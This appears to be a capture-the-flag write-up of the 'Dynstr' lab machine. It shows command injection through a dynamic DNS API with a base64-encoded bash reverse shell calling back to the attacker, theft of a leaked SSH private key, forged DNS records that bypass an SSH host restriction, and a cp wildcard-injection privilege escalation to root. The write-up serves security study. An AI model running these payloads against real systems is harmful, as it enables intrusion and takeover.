Dynstr imitates a company that offers a Dynamic DNS service. The provided API for this service is vulnerable to command injection, allowing me to gain initial access to the system. Enumerating inside the system reveals log files that leak the user SSH key that can only be used after manipulating the DNS records. For the root part, there is a custom script that is vulnerable to wildcard injection. Since the script can be run as root with sudo, it is possible to gain root access from it.
Skills Learned
- Command injection
- Dynamic DNS
- Wildcard injection
Tools
- Nmap
- Burp Suite
Reconnaissance
Nmap
A full TCP scan with nmap
discovers 3 open ports: SSH on 22, BIND 9 DNS on 53, and an Apache web server on 80.
→ root@kali «dynstr» «10.10.14.53»
$ nmap -p- --min-rate 1000 --reason -oA nmap/10-tcp-allport-dynstr 10.10.10.244
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-16 21:06 EDT
Nmap scan report for 10.10.10.244
Host is up, received echo-reply ttl 63 (0.078s latency).
Not shown: 65532 closed ports
Reason: 65532 resets
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
53/tcp open domain syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 41.14 seconds
→ root@kali «dynstr» «10.10.14.53»
$ nmap -p22,53,80 -sC -sV -oA nmap/10-tcp-allport-scripts-dynstr 10.10.10.244
Starting Nmap 7.80 ( https://nmap.org ) at 2021-06-16 21:07 EDT
Nmap scan report for 10.10.10.244
Host is up (0.54s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.16.1-Ubuntu
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Dyna DNS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.76 seconds
Enumeration
TCP 80 - Website
On port 80, there is a company website named DYNA DNS.
This company offers a dynamic DNS service and states that the service is still in beta. There is also shared credentials to use this service.
At the bottom of the page, it reveals another domain name: dyna.htb
.
I will update my /etc/hosts
with all the discovered domain names :
→ root@kali «dynstr» «10.10.14.53»
$ echo '10.10.10.244 dyna.htb dnsalias.htb dynamicdns.htb no-ip.htb'
These domain points to the same site.
→ root@kali «dynstr» «10.10.14.53»
$ curl -s http://10.10.10.244/ | wc -c
10909
→ root@kali «dynstr» «10.10.14.53»
$ for i in dyna.htb dnsalias.htb dynamicdns.htb no-ip.htb; do curl -s http://$i/ | wc -c; done
10909
10909
10909
10909
DNS API
As previously stated in the website, it seems to use the dynamic DNS service, I can refer to no-ip.com:
To use the service, I will send a request and supply the shared credentials ('dynadns:sndanyd'
) in the Authorization header:
It returned with good
.
With dig
, I can confirm that my domain name has been added to the DNS entry.
→ root@kali «dynstr» «10.10.14.53»
$ dig @10.10.10.244 iamf.no-ip.htb
; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> @10.10.10.244 iamf.no-ip.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38459
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a795fc705ec31c660100000060cab226fe335467b6b169e8 (good)
;; QUESTION SECTION:
;iamf.no-ip.htb. IN A
;; ANSWER SECTION:
iamf.no-ip.htb. 30 IN A 10.10.14.53
;; Query time: 864 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: Wed Jun 16 22:23:34 EDT 2021
;; MSG SIZE rcvd: 87
Foothold
Shell as www-data
Identify Command Injection
On Linux, there is a dynamic DNS utility called nsupdate
. If the backend uses this utility with no sanitization on the input, it is possible to do a command injection.
For the first attempt, I try to submit a semicolon, and it fails the update process.
If I search for that error on Google, I will see this post from StackOverflow, which shows how nsupdate
is executed from PHP using the built-in exec()
function.
By assuming that my input falls in update add $MYINPUT.no-ip.htb ...
, I try to submit `echo+iamf1`.
It again responded with “good”.
Checking with dig
shows that my domain iamf1.no-ip.htb
has been added to the DNS entry. This means the API is vulnerable to command injection.
→ root@kali «dynstr» «10.10.14.53»
$ dig @10.10.10.244 iamf1.no-ip.htb
; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> @10.10.10.244 iamf1.no-ip.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 65360
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 8164817dd17125330100000060cab5248a60afa8ae9615d7 (good)
;; QUESTION SECTION:
;iamf1.no-ip.htb. IN A
;; ANSWER SECTION:
iamf1.no-ip.htb. 30 IN A 10.10.14.53
;; Query time: 735 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: Wed Jun 16 22:36:20 EDT 2021
;; MSG SIZE rcvd: 88
I also assume that the update command is enclosed with EOF
, and when I put "
to enclose it, the server response leaks how it updates the DNS entry.
Reverse Shell
To avoid bad characters, I will encode the reverse shell payload with double base64.
→ root@kali «dynstr» «10.10.14.53»
$ echo "bash -c 'bash -i >& /dev/tcp/10.10.14.53/9000 0>&1'" |base64 |base64 -w0
WW1GemFDQXRZeUFuWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0MU15ODVNREF3SURBK0pqRW5DZz09Cg==
The final query will looks like this.
/nic/update?hostname="`echo+WW1GemFDQXRZeUFuWW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0MU15ODVNREF3SURBK0pqRW5DZz09Cg==+|base64+-d|base64+-d|bash`+iamf.no-ip.htb&myip=10.10.14.53
On my listener
→ root@kali «dynstr» «10.10.14.53»
$ nc -nvlp 9000
listening on [any] 9000 ...
connect to [10.10.14.53] from (UNKNOWN) [10.10.10.244] 49648
bash: cannot set terminal process group (659): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dynstr:/var/www/html/nic$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
I will upgrade my shell.
www-data@dynstr:/var/www/html/nic$ export TERM=xterm
export TERM=xterm
www-data@dynstr:/var/www/html/nic$ which python3
which python3
/usr/bin/python3
www-data@dynstr:/var/www/html/nic$ python3 -c 'import pty;pty.spawn("/bin/bash")'
'ython3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@dynstr:/var/www/html/nic$ ^Z
[1] + 7584 suspended nc -nvlp 9000
→ root@kali «dynstr» «10.10.14.53»
$ stty raw -echo; fg
[1] + 7584 continued nc -nvlp 9000
www-data@dynstr:/var/www/html/nic$
Privilege Escalation
Shell as bindmgr
Enumeration
Under /home/bindmgr/support-case-C62796521
, there are several files that are readable by others.
www-data@dynstr:/home/bindmgr/support-case-C62796521$ ls -l
total 428
-rw-r--r-- 1 bindmgr bindmgr 237141 Mar 13 14:53 C62796521-debugging.script
-rw-r--r-- 1 bindmgr bindmgr 29312 Mar 13 14:53 C62796521-debugging.timing
-rw-r--r-- 1 bindmgr bindmgr 1175 Mar 13 14:53 command-output-C62796521.txt
-rw-r--r-- 1 bindmgr bindmgr 163048 Mar 13 14:52 strace-C62796521.txt
The strace-C62796521.txt
file contains a SSH private key.
www-data@dynstr:/home/bindmgr/support-case-C62796521$ cat strace-C62796521.txt
...[SNIP]...
15123 openat(AT_FDCWD, "/home/bindmgr/.ssh/id_rsa", O_RDONLY) = 5
15123 fstat(5, {st_mode=S_IFREG|0600, st_size=1823, ...}) = 0
15123 read(5, "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn\nNhAAAAAwEAAQAAAQEAxeKZHOy+RGhs+gnMEgsdQas7klAb37HhVANJgY7EoewTwmSCcsl1\n42kuvUhxLultlMRCj1pnZY/1sJqTywPGalR7VXo+2l0Dwx3zx7kQFiPeQJwiOM8u/g8lV3\nHjGnCvzI4UojALjCH3YPVuvuhF0yIPvJDessdot/D2VPJqS+TD/4NogynFeUrpIW5DSP+F\nL6oXil+sOM5ziRJQl/gKCWWDtUHHYwcsJpXotHxr5PibU8EgaKD6/heZXsD3Gn1VysNZdn\nUOLzjapbDdRHKRJDftvJ3ZXJYL5vtupoZuzTTD1VrOMng13Q5T90kndcpyhCQ50IW4XNbX\nCUjxJ+1jgwAAA8g3MHb+NzB2/gAAAAdzc2gtcnNhAAABAQDF4pkc7L5EaGz6CcwSCx1Bqz\nuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7a\nXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38P\nZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk\n+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs\n4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WODAAAAAwEAAQAAAQEAmg1KPaZgiUjybcVq\nxTE52YHAoqsSyBbm4Eye0OmgUp5C07cDhvEngZ7E8D6RPoAi+wm+93Ldw8dK8e2k2QtbUD\nPswCKnA8AdyaxruDRuPY422/2w9qD0aHzKCUV0E4VeltSVY54bn0BiIW1whda1ZSTDM31k\nobFz6J8CZidCcUmLuOmnNwZI4A0Va0g9kO54leWkhnbZGYshBhLx1LMixw5Oc3adx3Aj2l\nu291/oBdcnXeaqhiOo5sQ/4wM1h8NQliFRXraymkOV7qkNPPPMPknIAVMQ3KHCJBM0XqtS\nTbCX2irUtaW+Ca6ky54TIyaWNIwZNznoMeLpINn7nUXbgQAAAIB+QqeQO7A3KHtYtTtr6A\nTyk6sAVDCvrVoIhwdAHMXV6cB/Rxu7mPXs8mbCIyiLYveMD3KT7ccMVWnnzMmcpo2vceuE\nBNS+0zkLxL7+vWkdWp/A4EWQgI0gyVh5xWIS0ETBAhwz6RUW5cVkIq6huPqrLhSAkz+dMv\nC79o7j32R2KQAAAIEA8QK44BP50YoWVVmfjvDrdxIRqbnnSNFilg30KAd1iPSaEG/XQZyX\nWv//+lBBeJ9YHlHLczZgfxR6mp4us5BXBUo3Q7bv/djJhcsnWnQA9y9I3V9jyHniK4KvDt\nU96sHx5/UyZSKSPIZ8sjXtuPZUyppMJVynbN/qFWEDNAxholEAAACBANIxP6oCTAg2yYiZ\nb6Vity5Y2kSwcNgNV/E5bVE1i48E7vzYkW7iZ8/5Xm3xyykIQVkJMef6mveI972qx3z8m5\nrlfhko8zl6OtNtayoxUbQJvKKaTmLvfpho2PyE4E34BN+OBAIOvfRxnt2x2SjtW3ojCJoG\njGPLYph+aOFCJ3+TAAAADWJpbmRtZ3JAbm9tZW4BAgMEBQ==\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 1823
But when I try to use that key for SSH login, it asks for a password.
→ root@kali «ssh-keys» «10.10.14.53»
$ ssh -i bindmgr_rsa bindmgr@10.10.10.244
bindmgr@10.10.10.244's password:
My first guess is SSH has been configured to password only, but I find that UseDNS is enabled here.
www-data@dynstr:/home$ cat /etc/ssh/sshd_config | grep -v '^#' | awk 'NF'
Include /etc/ssh/sshd_config.d/*.conf
PermitRootLogin yes
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
UseDNS yes
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
Then if I look at the authorized keys, it seems SSH login only possible from a specific domain that starts with *.infra.dyna.htb
.
www-data@dynstr:/home/bindmgr$ ls -l .ssh/
ls -l
total 16
-rw-r--r-- 1 bindmgr bindmgr 419 Mar 13 14:53 authorized_keys
-rw------- 1 bindmgr bindmgr 1823 Mar 13 14:53 id_rsa
-rw-r--r-- 1 bindmgr bindmgr 395 Mar 13 14:53 id_rsa.pub
-rw-r--r-- 1 bindmgr bindmgr 444 Mar 13 14:53 known_hosts
www-data@dynstr:/home/bindmgr$ cat .ssh/authorized_keys
from="*.infra.dyna.htb" ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDF4pkc7L5EaGz6CcwSCx1BqzuSUBvfseFUA0mBjsSh7BPCZIJyyXXjaS69SHEu6W2UxEKPWmdlj/WwmpPLA8ZqVHtVej7aXQPDHfPHuRAWI95AnCI4zy7+DyVXceMacK/MjhSiMAuMIfdg9W6+6EXTIg+8kN6yx2i38PZU8mpL5MP/g2iDKcV5SukhbkNI/4UvqheKX6w4znOJElCX+AoJZYO1QcdjBywmlei0fGvk+JtTwSBooPr+F5lewPcafVXKw1l2dQ4vONqlsN1EcpEkN+28ndlclgvm+26mhm7NNMPVWs4yeDXdDlP3SSd1ynKEJDnQhbhc1tcJSPEn7WOD bindmgr@nomen
Update DNS
Looking at the DNS configuration under /etc/bind
reveals that dyna.htb
is not available for customers (via API) and it uses different key (/etc/bind/infra.key
).
www-data@dynstr:/etc/bind/$ cat named.conf.local
//
// Do any local configuration here
//
// Add infrastructure DNS updates.
include "/etc/bind/infra.key";
zone "dyna.htb" IN { type master; file "dyna.htb.zone"; update-policy { grant infra-key zonesub ANY; }; };
zone "10.in-addr.arpa" IN { type master; file "10.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
zone "168.192.in-addr.arpa" IN { type master; file "168.192.in-addr.arpa.zone"; update-policy { grant infra-key zonesub ANY; }; };
// Enable DynDNS updates to customer zones.
include "/etc/bind/ddns.key";
zone "dnsalias.htb" IN { type master; file "dnsalias.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
zone "dynamicdns.htb" IN { type master; file "dynamicdns.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
zone "no-ip.htb" IN { type master; file "no-ip.htb.zone"; update-policy { grant ddns-key zonesub ANY; }; };
// *** WORK IN PROGRESS, see bindmgr.sh ***
// include "/etc/bind/named.conf.bindmgr";
The idea here is to add a sub domain to dyna.htb
zone, and it must be part of infra.dyna.htb
, such as iamf.infra.dyna.htb
. I will also point that domain to my IP so I can SSH from my machine. These all can be done with the following commands.
www-data@dynstr:/etc/bind$ nsupdate -k ./infra.key
> update add iamf.infra.dyna.htb 3600 A 10.10.14.53
> update add 53.14.10.10.in-addr.arpa. 600 PTR iamf.infra.dyna.htb
> show
Outgoing update query:
;; ->>HEADER<<- opcode: UPDATE, status: NOERROR, id: 0
;; flags:; ZONE: 0, PREREQ: 0, UPDATE: 0, ADDITIONAL: 0
;; UPDATE SECTION:
iamf.infra.dyna.htb. 0 ANY A
iamf.infra.dyna.htb. 3600 IN A 10.10.14.53
53.14.10.10.in-addr.arpa. 600 IN PTR iamf.infra.dyna.htb.
> send
I can confirm with dig that my domain has been added.
→ root@kali «dynstr» «10.10.14.53»
$ dig @10.10.10.244 iamf.infra.dyna.htb
; <<>> DiG 9.11.5-P4-5.1+b1-Debian <<>> @10.10.10.244 iamf.infra.dyna.htb
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56211
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 7d13ea1a1d5d21b90100000060cb40c0b256362f3bd3da35 (good)
;; QUESTION SECTION:
;iamf.infra.dyna.htb. IN A
;; ANSWER SECTION:
iamf.infra.dyna.htb. 3600 IN A 10.10.14.53
;; Query time: 59 msec
;; SERVER: 10.10.10.244#53(10.10.10.244)
;; WHEN: Thu Jun 17 08:31:59 EDT 2021
;; MSG SIZE rcvd: 92
SSH bindmgr
Now I can SSH login as bindmgr
→ root@kali «ssh-keys» «10.10.14.53»
$ ssh -i bindmgr_rsa bindmgr@10.10.10.244
Last login: Tue Jun 8 19:19:17 2021 from 6146f0a384024b2d9898129ccfee3408.infra.dyna.htb
bindmgr@dynstr:~$ id
uid=1001(bindmgr) gid=1001(bindmgr) groups=1001(bindmgr)
The flag:
bindmgr@dynstr:~$ ls -l
total 8
drwxr-xr-x 2 bindmgr bindmgr 4096 Mar 13 14:53 support-case-C62796521
-r-------- 1 bindmgr bindmgr 33 Jun 17 10:51 user.txt
bindmgr@dynstr:~$ cat user.txt
6404e...[SNIP]...
Shell as root
Enumeration
Checking for sudo permissions reveals that bindmgr
is allowed to run a script called bindmgr.sh
as root.
bindmgr@dynstr:~$ sudo -l
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
Matching Defaults entries for bindmgr on dynstr:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bindmgr may run the following commands on dynstr:
(ALL) NOPASSWD: /usr/local/bin/bindmgr.sh
The author gives a well documented about what this script does.
#!/usr/bin/bash
# This script generates named.conf.bindmgr to workaround the problem
# that bind/named can only include single files but no directories.
#
# It creates a named.conf.bindmgr file in /etc/bind that can be included
# from named.conf.local (or others) and will include all files from the
# directory /etc/bin/named.bindmgr.
#
# NOTE: The script is work in progress. For now bind is not including
# named.conf.bindmgr.
#
# TODO: Currently the script is only adding files to the directory but
# not deleting them. As we generate the list of files to be included
# from the source directory they won't be included anyway.
BINDMGR_CONF=/etc/bind/named.conf.bindmgr
BINDMGR_DIR=/etc/bind/named.bindmgr
indent() { sed 's/^/ /'; }
# Check versioning (.version)
echo "[+] Running $0 to stage new configuration from $PWD."
if [[ ! -f .version ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 42
fi
if [[ "`cat .version 2>/dev/null`" -le "`cat $BINDMGR_DIR/.version 2>/dev/null`" ]] ; then
echo "[-] ERROR: Check versioning. Exiting."
exit 43
fi
# Create config file that includes all files from named.bindmgr.
echo "[+] Creating $BINDMGR_CONF file."
printf '// Automatically generated file. Do not modify manually.\n' > $BINDMGR_CONF
for file in * ; do
printf 'include "/etc/bind/named.bindmgr/%s";\n' "$file" >> $BINDMGR_CONF
done
# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/
# Check generated configuration with named-checkconf.
echo "[+] Checking staged configuration."
named-checkconf $BINDMGR_CONF >/dev/null
if [[ $? -ne 0 ]] ; then
echo "[-] ERROR: The generated configuration is not valid. Please fix following errors: "
named-checkconf $BINDMGR_CONF 2>&1 | indent
exit 44
else
echo "[+] Configuration successfully staged."
# *** TODO *** Uncomment restart once we are live.
# systemctl restart bind9
if [[ $? -ne 0 ]] ; then
echo "[-] Restart of bind9 via systemctl failed. Please check logfile: "
systemctl status bind9
else
echo "[+] Restart of bind9 via systemctl succeeded."
fi
fi
The first two if
statement show that the script wants a file called .version
, and since it looks from $PWD
, I can create that file in anywhere.
bindmgr@dynstr:~$ echo '5' > .version
Then when I run the script, it throws the following error.
bindmgr@dynstr:~$ sudo bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /home/bindmgr.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
cp: -r not specified; omitting directory 'support-case-C62796521'
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.conf.bindmgr:2: open: /etc/bind/named.bindmgr/support-case-C62796521: file not found
And this one is interesting
cp: -r not specified; omitting directory 'support-case-C62796521'
If I trace it, the error come from these lines.
# Stage new version of configuration files.
echo "[+] Staging files to $BINDMGR_DIR."
cp .version * /etc/bind/named.bindmgr/
According to Hackingarticles, using cp
with *
can lead to wildcard injection.
Exploitation
To exploit cp
with *
(wildcard), I will create a copy of the bash binary and set SUID permissions on it, and then I will create another file with a filename --preserve=mode
.
bindmgr@dynstr:/dev/shm$ echo '5' > .version
bindmgr@dynstr:/dev/shm$ touch '--preserve=mode'
bindmgr@dynstr:/dev/shm$ cp /bin/bash .
bindmgr@dynstr:/dev/shm$ chmod u+s bash
bindmgr@dynstr:/dev/shm$ ls -la
total 1164
drwxrwxrwt 2 root root 100 Jun 17 15:18 .
drwxr-xr-x 17 root root 3940 Jun 17 10:51 ..
-rwsr-sr-x 1 bindmgr bindmgr 1183448 Jun 17 15:18 bash
-rw-rw-r-- 1 bindmgr bindmgr 1 Jun 17 15:12 '--preserve=mode'
-rw-rw-r-- 1 bindmgr bindmgr 2 Jun 17 14:47 .version
cp
will see that --preserve=mode
file as name as a flag/option/switch, so it becomes
$ cp .version --preserve=mode /etc/bind/named.bindmgr/
When I run bindmgr.sh
again, it throws another error.
bindmgr@dynstr:/dev/shm$ sudo bindmgr.sh
sudo: unable to resolve host dynstr.dyna.htb: Name or service not known
[+] Running /usr/local/bin/bindmgr.sh to stage new configuration from /dev/shm.
[+] Creating /etc/bind/named.conf.bindmgr file.
[+] Staging files to /etc/bind/named.bindmgr.
[+] Checking staged configuration.
[-] ERROR: The generated configuration is not valid. Please fix following errors:
/etc/bind/named.bindmgr/bash:1: unknown option 'ELF☻☺☺...'
/etc/bind/named.bindmgr/bash:14: unknown option '♥h□ȀE□♣'
/etc/bind/named.bindmgr/bash:40: unknown option '□YF'
/etc/bind/named.bindmgr/bash:40: unexpected token near '}'
But now under /etc/bind/named.bindmgr
, I have a copy of bash with SUID permissions set to root.
bindmgr@dynstr:/dev/shm$ ls -la /etc/bind/named.bindmgr
total 1168
drwxr-sr-x 2 root bind 4096 Jun 17 15:18 .
drwxr-sr-x 3 root bind 4096 Jun 17 15:18 ..
-rwsr-sr-x 1 root bind 1183448 Jun 17 15:18 bash
-rw-rw-r-- 1 root bind 2 Jun 17 15:18 .version
Executing that bash with -p
gives me a root shell.
bindmgr@dynstr:/dev/shm$ /etc/bind/named.bindmgr/bash -p
bash-5.0# id
uid=1001(bindmgr) gid=1001(bindmgr) euid=0(root) egid=117(bind) groups=117(bind),1001(bindmgr)
bash-5.0# whoami
root
The flag
bash-5.0# ls -l
total 8
drwxr-xr-x 4 root root 4096 Mar 14 14:18 cleanup
-r-------- 1 root root 33 Jun 17 10:51 root.txt
bash-5.0# cat root.txt
64348...[SNIP]...